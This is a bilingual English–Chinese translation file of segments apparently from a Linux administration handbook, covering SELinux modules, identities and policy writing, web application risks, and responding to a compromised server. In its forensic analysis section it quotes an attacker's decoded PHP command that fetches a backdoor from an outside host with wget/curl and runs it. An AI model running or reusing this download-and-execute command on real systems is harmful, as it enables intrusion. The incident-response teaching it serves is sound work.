zh-CN: 注意在下次启动时，用 <command>selinux-activate</command> 脚本自动化这些操作并强制标识（避免无标识的文件在 SELinux 未生效或正在标识的时候被创建）。

en: Managing an SELinux System
zh-CN: 管理 SELinux 系统

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
zh-CN: SELinux 策略是一系列的模块化规则集合，安装时它会基于已经安装的服务自动探测并启用相关模块。系统立即可操作。然而，如果一个服务是在 SELinux 策略之后安装的，就要手动启用相应模块了。<command>semodule</command> 命令可以实现该目的。还必须用 <command>semanage</command> 命令，定义每个用户可用的角色。

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
zh-CN: 这两个命令可以用于修改当前 SELinux 存储在 <filename>/etc/selinux/default/</filename> 的配置。不像其他配置文件，可以在 <filename>/etc/</filename> 中的其他配置文件，这些文件不能手工修改。应当使用相应的程序来修改。

en: <emphasis>GOING FURTHER</emphasis> More documentation
zh-CN: <emphasis>进阶</emphasis>更多文档

en: Managing SELinux Modules
zh-CN: 管理 SELinux 模块

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
zh-CN: <command>semodule</command> 立即加载新配置，除非使用了 <literal>-n</literal> 选项。需要注意的是在当前配置默认启用的程序（由在 <filename>/etc/selinux/config</filename> 文件中的 <literal>SELINUXTYPE</literal> 变量指明），可以使用 <literal>-s</literal> 选项来修改和储存其他的。注意不同版本支持的选项可能不同。

en: Managing Identities
zh-CN: 管理身份

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
zh-CN: 每次用户登录，就会被赋予一个 SELinux 身份。该身份定义了他们可以使用的角色。这两种映射（从用户到身份，从该身份到角色）使用 <command>semanage</command> 命令配置。

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
zh-CN: <command>semanage login -l</command> 列出当用户身份和 SELinux 身份之间的映射。没有指明登记项的用户会使用 <literal>__default__</literal> 登记项。 <command>semanage login -a -s user_u <replaceable>user</replaceable></command> 命令会关联 <emphasis>user_u</emphasis> 身份到指定用户。<command>semanage login -d <replaceable>user</replaceable></command> 会移除赋予用户的映射登记项。

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
zh-CN: <command>semanage user -l</command> 列出 SELinux 用户身份和允许的角色之间的映射。添加一个新的身份需要定义相应的角色和用于给个人文件赋予类型的标识前缀（<filename>/home/<replaceable>user</replaceable>/*</filename>）。前缀必须从 <literal>user</literal>，<literal>staff</literal>，和 <literal>sysadm</literal> 之间挑选。<literal>staff</literal> 前缀生成 <literal>staff_home_dir_t</literal> 类型文件。创建新的用户身份使用 <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>。使用 <command>semanage user -d <replaceable>identity</replaceable></command> 移除用户身份。

en: Managing File Contexts, Ports and Booleans
zh-CN: 管理文件上下文，端口和布尔值

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
zh-CN: 每个 SELinux 模块提供了一套标识规则，但是也可以添加定制的标识规则来满足特殊情况。例如，如果想要网页服务器能读取 <filename>/srv/www/</filename> 里面的文件，就要执行 <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> 和 <command>restorecon -R /srv/www/</command>。前者注册新的标识规则，后者根据当前标识规则重置文件类型。

en: Adapting the Rules
zh-CN: 适应规则

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
zh-CN: 既然 SELinux 策略是模块化的，那么为（定制化）新应用开发新模块是很有趣的。这些新模块会完善<emphasis>参考策略</emphasis>。

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
zh-CN: 要创建新模块，需要 <emphasis role="pkg">selinux-policy-dev</emphasis> 软件包，还有 <emphasis role="pkg">selinux-policy-doc</emphasis>。后者包含了标准规则的文档（<filename>/usr/share/doc/selinux-policy-doc/html/</filename>）和可用于创建新规则的模板示例文件。安装这些文件并更深入的研究：

en: Writing a <filename>.fc</filename> file
zh-CN: 写一个 <filename>.fc</filename> 文件

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
zh-CN: 阅读下面的例子足可以理解此类文件的结构。可以使用正则表达式给多个文件，甚至是整个目录树赋予相同的安全上下文。

en: <filename>example.fc</filename> file
zh-CN: <filename>example.fc</filename> 文件

en: Writing a <filename>.if</filename> File
zh-CN: 写一个 <filename>.if</filename> 文件

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
zh-CN: 在下面的例子中，第一个接口（<literal>myapp_domtrans</literal>）控制谁可以执行程序。第二个（<literal>myapp_read_log</literal>）授予程序日志文件的读权限。

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
zh-CN: 每个接口必须有一套规则并嵌入到 <filename>.te</filename> 文件。因此必须声明所有使用的类型（使用 <literal>gen_require</literal> 宏），并使用标准指令授予权限。也可以使用其他模块提供的接口。如何表示这些权限将在下节给出更详细的解释。

en: <filename>example.if</filename> File
zh-CN: <filename>example.if</filename> 文件

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
zh-CN: <emphasis>文档</emphasis>关于参考策略的解释

en: Writing a <filename>.te</filename> File
zh-CN: 写一个 <filename>.te</filename> 文件

en: Have a look at the <filename>example.te</filename> file:
zh-CN: 看一看 <filename>example.te</filename> 文件：

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
zh-CN: <emphasis>进阶</emphasis> <command>m4</command> 宏语言

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
zh-CN: 要恰当的构建策略，SELinux 开发者使用宏命令处理器。他们创建了“宏功能”，而非重复使用很多相似的<emphasis>允许（allow）</emphasis>指令，来使用高级别的逻辑生成更加可读的策略。

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
zh-CN: 实际上，<command>m4</command> 用于编译这些规则。它进行反方向地操作：将所有高级别的逻辑扩展为由<emphasis>允许（allow）</emphasis>指令组成的巨型数据库。

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
zh-CN: SELinux“接口”只是宏功能，在编译时它会被一套规则替代。类似地，有些权限其实是一套权限集合，它们在编译时会被实际值取代。

en: The module must be identified by its name and version number. This directive is required.
zh-CN: 模块必须通过名字和版本号标识。此指令是必须的。

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
zh-CN: 如果模块引入了新类型，它们必须使用类似的指令声明。不要害怕需要创建的类型过多，这总胜过赋予过多无用权限。

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
zh-CN: 这些接口定义 <literal>myapp_t</literal> 类型为进程域，它可以被标识为 <literal>myapp_exec_t</literal> 的可执行程序使用。这隐式地给这些对象添加 <literal>exec_type</literal> 属性，反过来允许其他模块授予权限执行这些程序：例如，<literal>userdomain</literal> 模块允许具有 <literal>user_t</literal>，<literal>staff_t</literal>，和 <literal>sysadm_t</literal> 域的进程执行。其他受限域将无权运行，除非规则赋予它们类似的权限（在此例中，<command>dpkg</command> 和域 <literal>dpkg_t</literal>）。

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
zh-CN: <literal>allow</literal> 指令是授予操作权限的基本指令。第一个参数是允许执行操作的进程域。第二个定义前面的域进程可以操作的对象。参数的形式是：“<replaceable>type</replaceable>:<replaceable>class</replaceable>”此处 <replaceable>type</replaceable> 是 SELinux 类型，<replaceable>class</replaceable> 描述对象（文件，目录，套接字，fifo，等等）属性。最后的参数描述许可权限（即允许的操作）。

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
zh-CN: 现在需要找到能确保目标程序或服务正常工作的最小规则集合。要做到这一点，就要很好的理解应用程序是如何工作的，它需要处理或生成什么样的数据。

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
zh-CN: 然而，实验方法也可以。一旦相关的对象被正确标识，可以在许可模式下使用应用程序：应该禁止的操作会被记录但是仍然会运行。通过分析日志，就能识别那些操作应该允许。这里有一个此类日志条目示例：

en: To better understand this message, let us study it piece by piece.
zh-CN: 为了更好的理解这条信息，我们逐一分析。

en: Analysis of an SELinux trace
zh-CN: SELinux 追踪记录分析

en: Message
zh-CN: 消息

en: Description
zh-CN: 描述

en: An operation has been denied.
zh-CN: 一个操作被拒绝。

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
zh-CN: 该操作需要 <literal>读－read</literal> 和 <literal>写－write</literal> 许可。

en: The process with PID 1876 executed the operation (or tried to execute it).
zh-CN: 进程号为1876的进程执行的操作（或者试图执行）。

en: The process was an instance of the <literal>syslogd</literal> program.
zh-CN: 该进程是 <literal>syslogd</literal> 程序的一个实例。

en: The object is identified by the inode number 5510.
zh-CN: 对象的节点（inode）号码是5510。

en: This is the security context of the process who executed the operation.
zh-CN: 这是执行操作进程的安全上下文。

en: This is the security context of the target object.
zh-CN: 这是执行操作对象的安全上下文。

en: The target object is a FIFO file.
zh-CN: 目标对象是一个 FIFO 文件。

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
zh-CN: <emphasis>补充</emphasis>无角色的策略规则

en: Compiling the Files
zh-CN: 编译文件

en: Other Security-Related Considerations
zh-CN: 其他安全相关事项

en: Inherent Risks of Web Applications
zh-CN: 网页应用程序的内在风险

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
zh-CN: Web 应用的普遍性导致其剧增。往往是几个并行运行：网页邮件，维基，群件系统，论坛，图片库，博客等等。许多应用依赖于“LAMP”（<emphasis>Linux, Apache, MySQL, PHP</emphasis>）。不幸的是，很多这种应用在编写的时候没有考虑安全问题。而源于外部世界的数据通常很少或者不去验证。使用特别数值可以将一个调用暗中转换成一个指令，以便于执行另外的替代程序。许多明显的问题随着时间的推移都被修正了，然而新的安全问题又时不时的跳出来。

en: <emphasis>VOCABULARY</emphasis> SQL injection
zh-CN: <emphasis>词汇</emphasis> SQL 注入

en: <primary>SQL injection</primary>
zh-CN: <primary>SQL 注入</primary>

en: Knowing What To Expect
zh-CN: 知道预期什么

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
zh-CN: 网页应用程序的弱点常常是攻击尝试的起点。下面简单的回顾一下可能的后果。

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
zh-CN: <emphasis>速览</emphasis>过滤 HTTP 查询

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
zh-CN: 设定这些检查是费时，费劲的任务。但当网页应用有一条可疑追踪记录时，就会有所回报。

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
zh-CN: 此时，攻击者就有足够的行动自由了，他们常常会安装一个 IRC <emphasis>机器人－bot</emphasis>（一个连接到 IRC 服务器的机器人并且可以通过频道来控制）。该机器人常常用来共享非法文件（未授权的电影或软件拷贝，等等）。一个坚决的攻击者可能会走到更远。<literal>www-data</literal> 账户不允许对机器的完全存取，攻击者会尝试获取管理员权限。现在，这个还不可能，但是如果网页应用程序不是最新的，内核和其他程序有可能也是过期的；这有时候源于管理员的决断，尽管知道容易遭受攻击，由于没有本地用户仍然忽略更新。然后，攻击者就会利用第二个弱点来取得超级用户权限。

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
zh-CN: <emphasis>词汇</emphasis>特权升级

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
zh-CN: 该术语涵盖了任何用于获得比给定用户正常情况下更多权限的行为。<command>sudo</command> 程序被设计用来将管理员权限赋予某些用户。但是，同样的术语也用来描述攻击者利用漏洞获取不当权限。

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
zh-CN: 这种噩梦可以通过几种方法阻止。接下来的章节会讲述几种方法。

en: Choosing the Software Wisely
zh-CN: 明智地选择软件

en: <emphasis>VOCABULARY</emphasis> Security audit
zh-CN: <emphasis>词汇</emphasis> 安全审核

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
zh-CN: 安全审核是彻底地阅读和分析某些软件的源代码，并寻找它可能包含的潜在安全漏洞。这种审核通常是预先的，并用于确保程序符合特定的安全需求。

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
zh-CN: <emphasis>词汇</emphasis> 0day 漏洞

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
zh-CN: <emphasis>零日漏洞</emphasis>攻击很难预防；该术语用于描述程序中那些作者还不知道的漏洞。

en: Managing a Machine as a Whole
zh-CN: 将机器作为整体管理

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
zh-CN: 出于同样的原因，防火墙通常配置为只允许访问公共服务。

en: Users Are Players
zh-CN: 用户是参与者

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
zh-CN: 谈到安全，要马上考虑保护免受隐藏在互联网丛林里匿名破坏者的攻击；但是，经常被遗忘的事实是－风险也来自内部：离职雇员会下载重要敏感的项目文件并买给竞争对手；大意的销售可能在开前景规划会议时，离开电脑而没有锁定桌面；笨拙的用户可能误删目录；等等。

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
zh-CN: 对付这些风险可以使用技术手段：授予用户的权限不多于所需求的权限，并且必须进行常规备份。但是在许多情况下，适当的保护也包含培训用户进而规避风险。

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
zh-CN: <emphasis>速览</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
zh-CN: <emphasis role="pkg">autolog</emphasis> 软件包可以在设定的延时过后自动断开非活动用户。也可以在会话结束后，杀死用户进程，进而防止用户运行守护进程。

en: Physical Security
zh-CN: 物理安全

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
zh-CN: 如果计算机本身没有受到保护，保护服务和网络是没有意义的。重要数据应该存储在 RAID 阵列可热交换硬盘上，即使硬盘失效，但是数据必须可用。如果送披萨的小伙子能进入大楼，溜进服务器房间并带着几块硬盘逃跑，那么安全的重要方面没有满足。谁可以进入服务器房间？出入被监控了吗？当评估物理安全时，需要考虑这些问题。

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
zh-CN: 物理安全也包括考虑事故风险，例如火灾。这种特殊风险说明有理由将备份介质保存在单独的建筑物，或者至少保存在防火保险箱内。

en: Legal Liability
zh-CN: 法律责任

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
zh-CN: 管理员或多或少被用户和网络用户所信任。因此，应避免任何可能被恶人利用的漏洞。

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
zh-CN: 如果此类情况发生了，自称清白通常是不够的；至少，你要出示在你系统上进行可疑活动源于指定 IP 的证据。这几乎是不可能的，如果你忽略了本章的推荐，让攻击者获得特权账户（特别是超级用户）并使用它来掩盖痕迹。

en: Dealing with a Compromised Machine
zh-CN: 处理被攻陷的机器

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
zh-CN: 尽管有最好的意图和精心设计的安全策略，管理员最终还是会面对劫持行为。本节提供一些指导，介绍碰到这种情况时如何应对。

en: Detecting and Seeing the Cracker's Intrusion
zh-CN: 探测并观察黑客入侵

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
zh-CN: 对付侵入的第一步是要注意黑客的这种行为。它通常不是自明的，特别是在没有足够的监控措施时。

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
zh-CN: 一个程序安装在 <filename>/var/tmp/</filename> 并作为网页服务器运行？毋庸置疑，机器已经被攻陷了。

en: This is only one example, but many other hints can ring the administrator's bell:
zh-CN: 此处只是一个示例，但是其他提示也会给管理员敲响警钟：

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
zh-CN: 命令的某个选项不起作用了；命令自己声明的软件版本与根据 <command>dpkg</command> 安装的预期版本不一致；

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
zh-CN: 命令行提示或者会话问候显示最后的连接源于其他洲的未知服务器；

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
zh-CN: <filename>/tmp/</filename> 分区已经被错误填满，而且都是由于非法的电影拷贝产生的；

en: and so on.
zh-CN: 等等。

en: Putting the Server Off-Line
zh-CN: 把服务器下线

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
zh-CN: 除了非常特殊的情况，破解一般源于网络，攻击者需要连接网络达到目的地（读取机密数据，共享非法文件，使用中继隐藏身份，等等）。将计算机从网络上拔出会阻止攻击者达到这些目标，即使是他们还没能成功攻陷电脑。

en: Keeping Everything that Could Be Used as Evidence
zh-CN: 保留所有可以作为证据的东西

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
zh-CN: 要知道针对攻击者的反击和从事法律活动需要所有重要元素的复本；包括硬盘内容，所有允许进程的清单，所有打开连接的清单。RAM 的内容也可以被使用，但是实践中很少使用。

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
zh-CN: 在斗争最激烈的时候，管理员往往倾向于在感染电脑上执行许多检查；这通常不是一个好主意。每个命令都有可能已经被更改了并有可能擦除证据片段。检查应该限制在最小范围内（对于网络连接 <command>netstat -tupan</command>，列出所有进程 <command>ps auxf</command>，正在运行程序的信息 <command>ls -alR /proc/[0-9]*</command>），每个已进行过的检查都要仔细记下来。

en: <emphasis>CAUTION</emphasis> Hot analysis
zh-CN: <emphasis>注意</emphasis> 在线分析

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
zh-CN: 如果仍然需要在线分析，要注意只使用已知的可信任程序。比较好的方法是使用含有简单程序的救援 CD，或者只读的网络共享。然而，如果内核本身被感染，这些措施也无济于事。

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
zh-CN: 一旦“动态”元素已经被保存，下一步就是存储整个硬盘镜像。如果文件系统仍在变化，是不可能制作镜像的，就需要以只读方式挂载。最简单的办法是（在运行 <command>sync</command> 后）直接停机并使用救援 CD 重启系统。每个分区使用类似 <command>dd</command> 来拷贝；这些镜像可以发送到其他服务器（可以使用很方便的 <command>nc</command> 工具）。另一种可能更简单：把磁盘从机器里取出来并使用新的替代它，从新格式化，重装系统。

en: Re-installing
zh-CN: 重新安装

en: <primary>backdoor</primary>
zh-CN: <primary>后门</primary>

en: Forensic Analysis
zh-CN: 法医分析

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
zh-CN: 现在服务被恢复，是时候看看感染系统的磁盘镜像，找到攻击向量了。当加载这些镜像是，注意使用 <literal>ro,nodev,noexec,noatime</literal> 选项来避免改变其内容（包括读取文件的时间戳）或者误运行感染程序。

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
zh-CN: 追踪痕迹通常需要寻找任何被更改和执行的东西：

en: <filename>.bash_history</filename> files often provide for a very interesting read;
zh-CN: <filename>.bash_history</filename> 文件可用于查阅；

en: so does listing files that were recently created, modified or accessed;
zh-CN: 也会列出最近创建，修改和读取的文件；

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
zh-CN: <command>strings</command> 通过从二进制中提取字符串，可辅助用于识别攻击者安装的程序；

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
zh-CN: <filename>/var/log/</filename> 日志文件可重建事件记录；

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
zh-CN: 特殊用途的工具可用于恢复潜在被删除的文件，包括攻击者删除的日志文件。

en: Reconstituting the Attack Scenario
zh-CN: 重构攻击场景

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
zh-CN: 在分析过程中搜集到的所有元素应该像拼图一片一片组合起来；第一个可疑文件通常和提供突破口的日志文件相关。现实世界中的例子比冗长的理论明了。

en: The following log is an extract from an Apache <filename>access.log</filename>:
zh-CN: 下面的日志文件截取自 Apache <filename>access.log</filename>：

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
zh-CN: 破译这段 URL 就会明白，攻击者成功运行了一些 PHP 代码，即：<command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>。实际上，在<filename>/tmp/</filename>会发现一个 <filename>bd</filename> 文件。运行 <command>strings /mnt/tmp/bd</command> 会发现字符串 <literal>PsychoPhobia Backdoor is starting...</literal>。这也确实看起来像个后门。

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
zh-CN: 随后，访问权限会被用来下载，安装和运行连接到地下 IRC 网络的 <emphasis>机器人－bot</emphasis>。这个机器人通过 IRC 协议控制，用于下载文件并共享。程序甚至有自己的日志文件：

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
zh-CN: 跟踪记录显示有两个视频文件被存储在服务器上了。

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
zh-CN: 同时，攻击者也下载了一对额外文件，<filename>/tmp/pt</filename> 和 <filename>/tmp/loginx</filename>。运行 <command>strings</command> 命令分析文件会发现诸如<foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> 和 <foreignphrase>Now wait for suid shell...</foreignphrase>。这些看起来像是程序利用本地漏洞获取管理员特权。他们达到目的了吗？本例中，视乎没有，因为在他们开始活动之后，看起来没有文件被修改。

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
zh-CN: 本例中，整个入侵过程被重构。可以推断，攻击者已经能够利用被侵入的系统三天左右；分析的成果在于漏洞已经被识别出来，并且管理员可以确保在下一次安装时确实修复了该漏洞。
